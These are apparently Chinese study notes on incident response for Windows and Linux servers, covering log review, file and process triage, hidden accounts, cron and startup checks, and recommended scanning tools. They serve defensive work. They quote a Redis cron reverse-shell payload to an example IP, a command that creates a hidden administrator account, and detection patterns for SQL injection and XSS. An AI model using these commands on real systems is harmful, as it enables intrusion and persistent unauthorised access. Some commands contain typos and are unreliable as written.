应急响应
思路
http://maqi.vip/posts/%E8%AE%BA%E6%BA%AF%E6%BA%90%E5%8F%8D%E5%88%B6%E6%80%9D%E6%83%B3/
根据用户现场的情况往往还需要做一些信息收集的工作比如,出现异常的时间点(非常重要)、异常服务器的主要业务情况、大致的一个网络拓扑是不是在DMZ区、是否可以公网访问、开放了那些端口、是否有打补丁、使用了怎么样的一个web技术、最近是否做过什么变更、有没有什么安全设备之类的。 根据收集到的信息,往往可以得出了几种可能。漏洞很多有些漏洞开发未能及时修复,是否应该规避风险,采取何种策略;一个web服务器公网可以访问出现了被挂黑链的事件使用框架类,那么初步可以怀疑是命令执行漏洞了;如果一台公网服务器没有安装补丁又没有防火墙防护,administrator的密码为P@sswrod那么有很大的可能性是被暴力破解成功;后面的工作主要就是收集各种资料证明这一猜想即可。
==查看最近一个月更改的文件:find -type f -mtime -30==
在服务器被入侵后进行应急响应无非通过文件排查、网络排查、进程排查、系统信息排查等方法进行入侵排查
关注点:
- 日志分析
- 文件分析
- 进程分析
- 自启动 计划任务
- 什么是日志?日志记录一个服务或应用程序在运行过程中所发生的事件和活动。
- 日志分类 web日志 系统日志
- 日志存放的位置
web日志分析
1.我们查看连接的时候 查看数值
2.我们去查看连接状态是否被远控:
1.名字连接名字xx.asp名字比较异常的要注意,找到那个文件位置分析是否是恶意文件
2.因为远控连接的一般是只有攻击者才可能去访问,查看攻击ip只有一个或者两个 那么我们需要注意,进一步排查
3.木马文件相对于访问频率低,我们就可以排查
4.木马文件与其它文件交互少,我们可以进一步排查是否恶意文件
5.跟管理员沟通,查看一些新增记录 确认恶意文件 (post型)上传php.asp文件,一般是只有管理员权限;然后我们去还原路径 可以排查sql注入等
作日志分析我们就知道web服务器入侵的痕迹了
系统日志分析
我们要关注时间,去筛选 创建记录等可以找到隐藏账号;判断系统的安全日志可以分析它
windows系统日志包含系统日志,安全日志、应用日志等
敏感事件id:
4624 登录成功
4625 登录失败
4720 创建用户
4634 注销成功
4647 用户启动的注销
4672 使用超级用户/管理员用户进行登录
系统日志分析-Log Parser
登录成功的所有事件
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 where EventID=4624"
指定登录时间范围的事件:
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 where
TimeGenerated>'2023-02-19 23:32:11' and TimeGenerated
提取登录成功的用户名和IP:
LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as
EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as
Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM Security.evtx路径 where
EventID=4624"
登录失败的所有事件:
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 EventID=4625"
linux
常用命令介绍:
find 文件名 find 搜索路径 【选项】 内容
-name 区分大小写php -type 文件类型 f普通文件 d目录 i查找软链接
-iname不区分大小写php -size 文件大小 +50k比我们50k还要大的文件 -100k比100k还要小的文件
-inum 修改时间 -atime访问的时间 -mtime数据修改的时间 -ctime文件修改的时间
+5 代表6天前修改的文件 -5代表5到6天内修改的文件 5代表5到6天那一天修改的文件
ls -i 1.php
1234
find -inum 1234
find -type f -name "*.php"|xargs grep 'eval'| more #去找到一个个文件的内容,显示出来
权限搜索 -perm
所属组所有者 -uid -gid -user用户名 -nouser(没有所属组的文件)
逻辑运算符 & -a 逻辑或-o 逻辑非-not
awk 【选项】匹配规则处理规则 路径-F指定分隔符 默认是空格作为分隔 : ,
设置一个变量 数组 定义函数 加减运算 字符串的拼接 $1 $0
一般会联合sort -n 排序,sort -n|uniq > 1 (uniq去重 -c计数)
awk '{print substr($4,2,11)}' logs |sort| uniq -c #sort排序 uniq去重
awk -F:'length($2)=0 {print $1}' /etc/shadow #空口令账号的查看
cat
grep | cat ps
-c 统计行数
-v 去掉我们的内容
ps -ef |grep ssh|grep -v grep
find ./ -name ".php" |xargs grep "eval()" xargs不支持管道符命令传递参数可以用这个函数 #匹配木马病毒文件
1.SQL注入检攻击检测
grep -E -i "select" log1
2.xss跨站脚本攻击检测
grep -E -i "
(S)%26%23x3c%3B(S+)%3E|(S)%26%23x3c%3B(S+)%2F%3E|(S+)<(S+)>|(S+)<(S+)/" log1
系统安全日志:
- cat /var/log/secure Centos
- cat /var/log/auth Ubuntu
- vim /etc/rsyslog.conf 查看日志存放位置 在配置文件下面查看
比较重要的几个日志:
- 登录失败记录:/var/log/btmp //lastb
- 登录成功记录: /var/log/wtmp //last
- 目前登录用户信息:/var/run/utmp
Linux分析排查
文件分析
敏感文件信息
-
在Linux中一切都是文件,其中/tmp是一个特别的临时目录文件,每个用户都可以对它进行读写执行操作。
-
查看开机启动项内容/etc/init.d,恶意代码很有可能设置在开机自启动的位置
查看指定目录下文件时间顺序的排序:ls -alt | head -n 10
查看文件时间属性:stat 文件名
-
新增文件分析:
查找24小时内被修改的文件:find ./ - mtime 0 -name “*.php”
查找48小时内新增的文件:find ./ -ctime -2 -name “*.php”
权限查找:在Linux系统中,如果具有777权限,那么文件和可疑:find ./ -iname “*.php” -perm 777
进程分析
网络连接分析
在Linux中可疑使用netstat进行网络连接查看:netstat -pantl
netstat -Print network connections,routing tables,interface statistics,masquerade connections,and multicast memberships
具体帮助信息查看man netstat
常用命令netstat -pant 查看处于tcp网络套接字相关信息
关闭位置连接 kill -9 pid
进程所对文件
在Linux中可以使用ps查看进程相关信息
使用ps aux查看所有进程信息
使用ps aux | grep PID 筛选出具体PID进程信息,lsof -i:端口号也可以实现此类功能
登陆分析
在Linux做的所有操作都会被记录道系统日志中,对于登陆也可以查看日志信息查看是否有异常登陆
last -i | grep -v 0.0.0.0 查看登陆日志,筛选非本地登陆
w命令 实时登陆查看
异常用户排查
1 2 3 4 5 |
cat /etc/passwd grep "0:0" /etc/passwd ls -l /etc/passwd awk -F: '$3==0' {print $1} '/etc/passwd' awk -F: '$2=="!" {pirint $1}' /etc/shadow 或者 awk -F :'length($2)==0 {print $1}' /etc/shadow |
---|---|
历史命令分析
在Linux系统中默认会记录之前执行的命令/root/.bash_history文件中
用户可以使用cat /root/.bash_history进行查看或者使用history命令查看
特别注意:==wget(可能远程下载木马),ssh(连接内网主机),tar zip(数据大包)系统配置等==
计划任务排查crontab
在Linux系统中可以使用命令 crontab进行计划任务的设定
其中-e可以用来编辑设定计划任务,-l可以用来查看当前计划任务,-d用来删除计划任务
特别注意计划中未知任务
开机自启动项
在Linux(Debian)系统中/etc/init.d目录下保存着开机自启动程序的目录
用户可以直接使用/etc/init.d 程序名称 status查看状态
使用==update-rc.d==程序名称disable取消开机自启动
$PATH变量异常
决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当你运行一个程序时,Linux在这些目录下进行搜寻编译链接。
修改PATH export PATH=$PATH:/usr/locar/new/bin 本次终端中有效,重启后无效
在/etc/profile或/home/.bashrc(source ~/.bashrc)才能永久生效
后门排查 - rkhunter
rkhunter具有以下功能:
- 系统命令检测,MD5校验
- Rockit检测
- 本机敏感目录,系统配置异常检测
安装:apt install rkhunter
基本使用:rkhunter –check -sk
Windows分析排查
文件分析
开机启动文件
在Windows系统中通过以下三方面查看开机启动项
-
利用操作系统中的启动菜单
C:/users/Administrator(当前用户名)/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup
-
利用系统配置msconfig
-
利用注册表regedit
HKEY_CURRENT_USERS/software/Microsoft/Windows/CurrentVersion/Run
temp临时异常文件
temp(临时文件夹),位于C:/Documents and Settings/Administrator/Local Settings內。很多临时文件放在这里,用来收藏夹,浏览网页的临时文件,编辑文件等。
使用运行 > 输入%temp% 可以直接打开temp文件夹
查看temp文件发现PE文件(exe、dll、sys),或者是否具有特别大的tmp文件
将文件上传至在线沙盒检测是否为恶意代码
浏览器信息分析
在被黑客拿下的服务器,很有可能会使用浏览器进行网站的访问。因此我们可以查看浏览器记录查看、探索浏览器是否被使用下载恶意代码
浏览器浏览痕迹查看
浏览器文件下载记录查看
浏览器cookie信息查看
文件时间属性分析
在Windows系统下,文件属性的时间属性具有:创建时间,修改时间,访问时间(默认情况下禁用)。在默认情况下,计算机是以修改时间作为展示。
如果修改时间早于创建时间则这个文件存在很大的嫌疑。
最近打开文件分析
Windows系统中默认记录系统中最近打开使用的文件信息
可以在目录C:/Documents and Settings/Administrator/Recent下查看,也可以使用运行 > 输入%UsersProfile%\Recent查看。然后利用Windows中的筛选条件查看具体时间范围的文件
进程分析
可疑进程发现与关闭
计算机与外部网络通信是建立在TCP或UDP协议上的,并且每一次通信都是通过不同的端口。如果计算机被木马入侵后,肯定会与外部网络通信,那么此时就可以通过查看网络连接状态,找到对应的进程ID,然后关闭进程ID就可以关闭连接状态
- netstat -ano | find “ESTABLISHED” 查看网络建立连接状态
- Tasklist /svc | find “PID” 查看具体PID进程对应的程序
- tasklist /PID pid值 /T 关闭进程
系统信息
Windows计划任务
在计算机中可以通过设定计划任务,在固定的时间执行固定操作。一般情况下,恶意代码也有可能在固定的时间执行。
使用at命令可以对计划任务进行管理,直接输入at可以查看当前计算机中保存的计划任务,也可以在可视化的计划任务管理中进行。
隐藏账号发现与删除
隐藏账号是指“黑客”在入侵之后为了能够持久保持对计算机访问,而在计算机系统中建立的不轻易被发现的计算机账户。
最为简单的隐藏账户建立:==net user test$ test /add && net local group administrator test$ /add==,其中¥符号可以导致系统管理员在使用net user时无法查看到test$用户。
补丁查看与更新
Windows系统支持补丁以修补漏洞,可以使用systeminfo查看系统信息,并展示对应的系统补丁信息编号。也可以卸载软件中查看系统补丁和第三方软件补丁。
控制面板>程序>程序和功能>已安装更新
恶意进程
发现与关闭
恶意代码在Windows系统运行过程中,将以进程的方式进行展示。其中恶意进程执行着各种恶意行为。对于可执行程序,可以直接使用杀毒软件进行查杀,但是并非所有的恶意程序能够被查杀。此时可以通过手动查杀,使用工具psexplore,然后利用在线沙盒进行分析。对恶意程序相关的服务进行关闭。
日志分析
文件分析
windows
-
(1)各个盘下的temp相关目录%temp% (判别恶意文件放在云沙箱)
-
(2)开机启动文件(启动菜单、注册表)
-
(3)浏览器的历史记录
-
(4)Recent文件
-
(5)攻击日期内新增的文件
【forfiles /m *.exe /d 2023/2/5 /s /c "cmd /c echo @path @fdate @ftime"】(根据当时具体情况排查)也可以通过everything排查位置
-
(6)使用工具D盾、HwsKill、WebshellKill等
linux
检查异常系统文件
find / -uid 0 -perm -4000 -print
find / -size +10000k -print
find / -name "…"-print
last
last 命令用于显示用户最近登录信息。
单独执行 last 指令,它会读取位于 /var/log/目录下,名称为 wtmp 的文件,并把该文件记录登录的用户名,全部显示出来。
语法
last [options] [username...] [tty...]
参数说明:
options:
-R 省略主机名 hostname 的列
-a 把从何处登入系统的主机名称或IP地址显示在最后一行。
-d 将IP地址转换成主机名称。
-f<记录文件> 指定记录文件。
-n<显示行数>或-<显示行数> 显示名单的行数。
-R 不显示登入系统的主机名称或IP地址。
-x 显示系统关机,重新开机,以及执行等级的改变等信息。
进程分析
windows
(tasklist列出所有进程 思路:恶意文件会进行外连,我们去查看网络连接;netstat -a查看网络连接,也可以用netstat -ano查看它的PID;查看端口得到PID,然后根据PID查看进程对应的程序名称,得到程序全路径名,杀掉进程)
(1)查看端口得到PID
netstat -nao | findstr 端口
(2)根据PID查看进程对应的程序名称
tasklist /V | findstr PID
wmic process list brief | findstr PID
(3)得到程序全路径名
wmic process where processid=PID get processid,executablepath,name
(4)杀掉进程
taskkill /PID 1437 /F
或者 wmic process where name="mysqld.exe" delete
或者 wmic process where processid=1437 call terminate
linux
进程和网络连接状态
网络连接命令【netstat】
-napt -pantn -a显示所有的选项 -n别名 -t tcp的连接
查看隐藏进程
ps -ef|awk '{print}'| sort -n |uniq >1
ls /proc| sort -n |uniq >2
新增隐藏账号排查
1.通过命令:“net user”查看
2.通过“计算机管理”查看。lusrmgr.msc
3.通过Windows安全日志进行排查 eventvwr
4.通过查看注册表文件进行排查 regedit
打开注册表以后我们进行隐藏账号排查排查,打不开它的下一级目录那么在编辑里面权限改为SYStem权限
自启动排查
打开注册表以后我们进行自启动排查
计划任务排查
schtasks.exe
linu
检查系统计划任务
/var/spool/cron/crontabs/root
crontab -u root -l
cat /etc/rc.d/rc.local
ls /etc/rc3.d
redis写隐藏计划任务
set shell "\n\n/1 * /bin/bash -
i>&/dev/tcp/192.168.0.109/2222 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
我们要查看 cd /var/spool/cron/root 去排查
排查工具
工具篇
#### 病毒分析
PCHunter:http://www.xuetr.com
火绒剑:https://www.huorong.cn
Process Explorer:https://docs.microsoft.com/zhcn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php
#### 病毒查杀
卡巴斯基:http://devbuilds.kasperskylabs.com/devbuilds/KVRT/latest/full/KVRT.exe (推荐理由:绿色版、最新
病毒库)
大蜘蛛:http://free.drweb.ru/download+cureit+free
#### 病毒动态
CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
微步在线威胁情报社区:https://x.threatbook.cn
火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区:http://bbs.duba.net
腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html
#### 在线病毒扫描网站
Virustotal:https://www.virustotal.com
Virscan:http://www.virscan.org
腾讯哈勃分析系统:https://habo.qq.com
Jotti 恶意软件扫描系统:https://virusscan.jotti.org